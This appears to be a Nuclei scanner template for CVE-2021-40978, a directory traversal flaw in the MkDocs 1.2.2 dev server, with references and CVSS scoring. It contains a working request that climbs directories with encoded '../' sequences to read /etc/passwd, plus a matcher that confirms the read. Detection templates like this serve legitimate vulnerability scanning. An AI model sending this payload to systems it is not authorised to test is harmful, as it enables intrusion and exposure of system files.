id: CVE-2021-40978 info: name: MKdocs 1.2.2 - Directory Traversal author: pikpikcu severity: high description: The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited. reference: - https://github.com/mkdocs/mkdocs/pull/2604 - https://github.com/nisdn/CVE-2021-40978 - https://nvd.nist.gov/vuln/detail/CVE-2021-40978 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-40978 cwe-id: CWE-22 tags: cve,cve2021,mkdocs,lfi requests: - method: GET path: - '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd' matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0:" part: body - type: status status: - 200 # Enhanced by mp on 2022/04/20